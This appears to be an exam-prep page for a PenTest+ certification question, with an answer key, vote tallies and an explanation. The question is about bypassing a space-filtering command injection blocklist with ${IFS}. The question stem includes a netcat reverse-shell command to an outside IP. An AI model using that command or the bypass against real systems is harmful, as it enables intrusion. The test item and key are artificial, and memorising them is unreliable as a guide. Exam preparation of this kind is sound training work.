PT0-003 · Question #26
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command: nc -e /bin/sh 10.10.10.16 4444 Which of
The correct answer is A. ${IFS}. To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.
Question
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:
nc -e /bin/sh 10.10.10.16 4444 Which of the following would most likely bypass the filtered space character?
Options
- A${IFS}
- B%0a
- C
-
- D%20
How the community answered
(32 responses)- A91% (29)
- B6% (2)
- D3% (1)
Explanation
To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.
Topics
Community Discussion
No community discussion yet for this question.